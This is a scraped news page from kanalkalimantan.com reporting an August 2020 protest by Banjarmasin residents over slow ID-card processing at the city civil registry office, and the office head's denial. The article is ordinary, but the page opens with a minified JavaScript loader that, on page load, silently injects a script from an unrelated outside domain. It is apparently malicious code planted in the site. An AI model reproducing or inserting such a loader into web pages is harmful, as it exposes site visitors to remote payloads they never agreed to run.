(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Dituding Pelayanan Lambat, Disdukcapil Banjarmasin Didemo Warga


KANALKALIMANTAN.COM, BANJARMASIN – Rombongan warga mendatangi kantor Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kota Banjarmasin sampaikan keluhan terkait lambannya proses pengurusan berbagai administrasi kependudukan. Dalam orasi yang disampaikan, masyarakat memprotes proses pelayanan yang menjadikan Covid-19 hanya dalih alasan.

Warga di kantor Disdukcapil ini membentangkan spanduk yang bertuliskan ‘Khairul Saleh, jangan memanfaatkan pembuatan KTP untuk kepentingan pribadi atau politik’. Tidak hanya itu, warga juga menuliskan bermacam-macam keluhan terkait pelayanan yang diberikan salah satu SKPD di Pemko Banjarmasin itu kepada masyarakat.

Korlap aksi, Agustian Noor mengatakan, kedatangan warga ke kantor Disdukcapil ini dipicu adanya pelayanan yang lambat bagi warga yang membuat KTP.

“Bahkan ada warga membuat KTP 4 tahun belum selesai,” kata Agustian, Rabu (19/8/2020) siang.

Selain itu juga terdapat isu politik di masyarakat yang mengatakan ‘Jika tidak melayani maka tidak akan dilayani’. Mereka beralasan mendatangi kantor Disdukcapil, karena adanya pelayanan yang tidak profesional.

“Kita ingin menyadarkan yang bersangkutan bahwa jangan main-main, apalagi ketika mendekati Pilkada,” tegasnya.

Kemudian, ia mengingatkan, jangan memanfaatkan kondisi keterlambatan blangko KTP terjadi untuk Pilkada. Dalam melaksanakan aksi ini masyarakat minta percepat bagi warga yang belum mendapatkan KTP.

Menanggapi hal itu, Kepala Disdukcapil Kota Banjarmasin, Khairul Saleh membantah adanya KTP warga yang belum selesai sampai 4 tahun dan juga isu kepentingan Pilkada. “Tidak benar kedua isu itu,” singkat Khairul.

Untuk isu politik, ia mengklaim sudah menyelesaikan hal itu pada April 2019 kemarin. “Kami sudah mengumpulkan 15 ribu blangko KTP,” ujarnya.

Sehingga, pihaknya tidak ada alasan untuk menunda pelayanan KTP. Ia menimpali, jika masyarakat ingin cetak KTP maka Disdukcapil siap untuk mencetaknya.

Kemudian, ia menjelaskan bahwa saat ini pemerintah pusat telah memberikan blangko KTP sekitar 14 ribu, 9 ribu blangko sudah berjalan, dan saat ini hanya tersisa 5 ribu

“Dari 5 ribu tersisa dan 3 ribu sedang diproses cetak. Dan yang belum terpakai hanya tersisa 2 ribu saja,” ujarnya.

Menurutnya, 2 ribu blangko KTP kosong tersebut untuk jaga-jaga jika ada KTP patah atau yang hilang. “Kami tidak kekosongan blangko KTP, cuman masyarakat dengan mengalami keterlambatan ini hanya tidak sabar,” pungkasnya. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

13 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

20 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

24 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.